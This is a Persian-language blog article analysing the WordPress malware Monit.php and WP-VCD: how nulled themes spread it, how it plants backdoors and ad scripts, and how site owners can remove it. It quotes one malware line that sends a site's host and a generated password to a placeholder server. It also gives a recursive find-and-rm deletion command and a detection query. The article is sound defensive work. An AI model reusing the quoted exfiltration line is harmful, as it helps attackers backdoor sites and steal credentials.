همکاران ما برای کمک به شما آماده هستند.
احتمالا درمورد هک وردپرس و بدافزار وردپرس در مقالات مجله آموزشی وبلینو مطالعه کرده بودید. اما امروز با یکی از مهم ترین بدافزار های وردپرس که حدود 1 ماه است امنیت بسیاری از سایت های وردپرسی را تهدید کرده در خدمت شما هستیم. یکی از معروفترین و البته جدیدترین حمله ها به وردپرس که از طرف کلاه سیاه های سئو وردپرس برای آلوده کردن سایت ها و استفاده از آنها به عنوان درگاه جهت افزایش ترافیک سایتی که قصد بالا بردن رتبه سئو آن را دارند از طریق بدافزاری به اسم Monit.php انجام می شود. این بدافزار نسخه بروزرسانی شده ویروس WP-VCD است که از سال 2018 حسابی کاربران وردپرس فارسی را اذیت کرده بود.
من مهراد مظاهری هستم و این یکی دیگر از مقالات مجله آموزشی تیم طراحی وب وبلینو می باشد. همراه من باشید تا نگاهی به این بدافزار جدید و بسیار دردسر ساز داشته باشیم.
کد داخلی بدافزار Monit.php در هاست وردپرسی
خروجی نهایی بدافزار در سایت وردپرسی
این بدافزار ( یا مالور یا Malware ) در مسیر wp-content/plugins/ به شکل یک فایل با پسوند PHP قرار می گیرد. ظاهر این فایل تا حد زیادی گمراه کننده است به طوری که نمیتوان تشخیص داد که واقعا این یک پلاگین است و یا یک فایل مخرب.
شاید مهمترین نکته ای که بتواند کمکتان کند این است که بدانید پلاگین های وردپرس عمدتا ( نه 100 درصد ولی 90 درصد ) در داخل پوشه های مخصوص به خود و در زیر شاخه Plugins قرار می گیرند و پلاگین هایی که به صورت تنها در این دایرکتوری بدون یک پوشه واسط باشند تقریبا انگشت شمارند.
طریقه کار این بدافزار وردپرس دقیقا مشابه WP-VCD است. این بدافزار از یک Zone-id و یک فایل به نام apu.php استفاده می کند و با استفاده از این 2 کد های جاوا اسکریپتی را در صفحات مختلف سایت صدا می زند. همه این کد های جاوا اسکریپت صرفا برای باز کردن 2 لینک تبلیغاتی از 2 سایت ofgogoatan و propu هستند. ( متاسفانه گوگل علاقه ای به دیدن آدرس این سایت ها ندارد و به همین دلیل ما نیز صرفا به نوشتن اسم سایت بسنده کرده ایم. ) این بدافزار از نظر فنی خیلی پیچیده نیست و عموما کدهای مخرب آن بدون اینکه کدگذاری شده باشند وارد هاست و سایت هدف میشوند.( کد گذاری نشدن فایل ها نکته بسیار خوبی است زیرا مراحل پاکسازی را راحت تر می کند. )
پس از نصب قالب و یا پلاگین نال شده، ابتدا فایلی با نام class.plugin-modules.php و یا class.themes-modules.php ایجاد میشود. این حاوی اسکریپت اولیه این بدافزار وردپرس برای آلوده کردن سایت میباشد. بعد از فعال شدن این فایل، بدافزار وردپرس wp-vcd محتویات هاست را چک کرده و اسکریپت “back door” به functions.php هر پوستهای که پیدا کند اضافه میکند.
اسکریپت backdoor در ابتدا به صورت Base64 ذخیره شده است ولی قبل از وارد شدن به سایت کدگذاری آن باز میشود. اسکریپت همچنین برای جلوگیری از پیدا شدن توسط ادمینها از modify شدن تاریخ و ساعت فایل جلوگیری میکند. بعد از ورود موفقیتآمیز اسکریپت backdoor، بدافزار با سرور اصلی خود تماس گرفته و URL سایت به علاوه پسوردی که ایجاد کرده است را برای آن ارسال میکند.
این کار به حملهکننده اجازه دسترسی کامل به سایت را میدهد. ثبت نام سایت در سرور اصلی نیز از طریق HTTP GET و به صورت زیر انجام میشود:
$content =@file_get_contents(‘http://example.com/post.php?host=’ .$_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash);
بعد از ورود کد backdoor بدافزار اقدام به جستجو دیگر سایتهای وردپرسی که ممکن است روی هاست و یا سرور قرار داشته باشند میکند و همین مراحل را مجددا برای سایتهای جدیدی که پیدا کرده طی میکند.
سپس مرحله دوم نفوذ از طریق اسکریپت جدید که در مسیر wp-includes/wp-vcd.php قرار دارد صورت میگیرد. بدافزار فایل اصلی و سالم وردپرس که در مسیر wp-includes/post.php قرار دارد را ادیت میکند تا هر بار که صفحه سایت لود شد، کدهای درون فایل wp-vcd.php که مخرب میباشد در داخل فایل post.php اجرا شود.
این مالور وردپرسی دقیقا به یک منظور طراحی شده است. هک سایت وردپرسی و دزدیدن ترافیک آن در جهت بالا بردن رتبه سایتهایی که در بالا ذکر کردم. در نسخه های قبلی این بدافزار وردپرسی دامنه krilns هم جزو دامنه هایی بود که جهت مقاصد طراحان این بدافزار استفاده می شد.
بدافزار WP-VCD به راحتی می تواند لقب کرونا ویروس وردپرس را به خود اختصاص دهدچرا که طی چند ماه گذشته شیوع بسیار زیادی داشته است. این بدافزار وردپرسی و فرزندش Monit.php هر 2 جز بدافزارهای خطرناکی میباشند که بسیاری از سایتهای وردپرس ایرانی را نیز مورد هدف قرار داده است.
شیوع بدافزار WP-VCD از طریق پلاگین و یا پوستههای نال شده که از منابع غیر معتبر تهیه شدهاند صورت میگیرد. حملهکنندگان پس از ورود به سایت با استفاده از تکنیکهای کلاه سیاه سئو اقدام به ریدایرکت بازدیدهای سایت به سوی مسیرهای دیگری میکنند و میتواند باعث از دسترس خارج شدن سایت و یا تغییر مسیر و ریدایرکت شدن سایت وردپرسی شما به مقاصد نامعلومی شود که نتیجه ای جز فیلتر شدن سایت وردپرسی عزیز و یا اتفاقات بدتر نخواهد داشت.
بدافزار Monit اما کمی از نواده خود پیشرفته تر بوده و می تواند از طریق هسته وردپرس به سایت وارد شود. متاسفانه وردپرس هایی که نسخه آنها از 5.1 پایین تر است مستعد هستند و هک وردپرس توسط Monit در این نسخه ها قابل پیش بینی است.
در حالت کلی می توان گفت وبسایت های خوش رنگ و لعابی که قالب و پلاگین های غیر رایگان را به رایگان در اختیار شما قرار می دهند منبع اصلی این آلودگی هستند. یک مثال ساده برایتان می زنیم. اگر عبارت “eduma theme download” را جستجو کنید یکی از اولین نتایج سایتی با نام downloadfreethemes.co نمایش داده می شود که یکی از منابع اصلی پخش این بدافزار وردپرس است. نکته بدتر این است که این سایت ها عموما رتبه های بالایی دارند به همین دلیل اگر آگاهی قبلی نسبت به این بدافزار های وردپرس نداشته باشید احتمالا فریب رتبه گوگل این وبسایت هارا خواهید خورد.
خوشبختانه در دنیای طراحی سایت و علوم مهندسی پیشگیری و یا رفع مشکل و درمان آن مانند علم پزشکی نیست و برعکس ویروس کرونا ، بدافزار وردپرس Monit با روش های ساده ای از سایت وردپرسی شما حذف می شود و با انجام چند عمل بسیار ساده دیگر هم می توانید از ابتلای دوباره سایت وردپرسی خود به آن جلوگیری کنید.
ابتدا به مسیر پلاگین های خود سر بزنید و هرجا فایلی به نام Monit.php را مشاهده کردید آن را پاک کنید. دقت داشته باشید که وقتی فایل monit.php را باز می کنید توضیحاتی بسیار قانع کننده ! درباره پلاگین Monitorization سئو وردپرس خواهید دید که نویسنده پلاگین را هم یک برنامه نویس روسی مشهور معرفی کرده است. فریب این چیزهارا نخورید زیرا تولید کنندگان پلاگین وردپرسی هم مثل شما و من از بدافزار Monit وردپرس اطلاع دارند و اساسا اسم فایل های پلاگین خود را monit.php نمی گذارند. بنابراین هرجا این فایل را دیدید سریعا پاک کنید.
اگر به ترمینال و یا کنسول سرور و یا هاست خود دسترسی دارید می توانید به راحتی با دستور زیر این کار را انجام دهید
find /var/www/html/ -name monit.php -exec rm -rf {} \;
از آنجاییکه در نسخه های قدیم بدافزار WP-VCD دیتابیس هم آلوده می شد این امکان در بدافزار Monit هم وجود دارد به همین منظور استفاده از کوئری زیر در دیتابیس می تواند مشکل شمارا حل کند.
وجود بدافزار Monit در جدول wp_options در وردپرس
SELECT * FROM `wp_options` WHERE `option_name` IN ( ‘default_mont_options’, ‘ad_code’ , ‘hide_admin’, ‘hide_logged_in’ , ‘display_ad’, ‘search_engines’ , ‘auto_update’, ‘ip_admin’ , ‘cookies_admin’, ‘logged_admin’, ‘log_install’)
حل مشکلات ایجاد شده توسط WP-VCD هم تقریبا به همین منوال است. تفاوت کوچکی که بین این 2 وجود دارد مسیرهای آلوده کردن فایل های وردپرس است.
یک پیشنهاد ساده و البته سریع برای پیدا کردن مشکل استفاده از افزونه امنیتی Wordfence است که می تواند به راحتی فایل های Monit و WP-VCD را در هر دایرکتوری از وردپرس که مخفی شده باشند پیدا کرده و از بین ببرد ( به شرطی که به آخرین نسخه آپدیت شده باشد.)
همچنین همانند باقی مقالات مجله آموزشی وبلینو، به شما توصیه اکید داریم که از قالب های وردپرس و پلاگین وردپرس نال شده استفاده نکنید و تا حد امکان قالب سایت وردپرس خود را از مراجع و منابع معتبر همراه با لایسنس اورجینال تهیه کنید که بتوانید به صورت دوره ای و البته منظم آنهارا آپدیت کنید.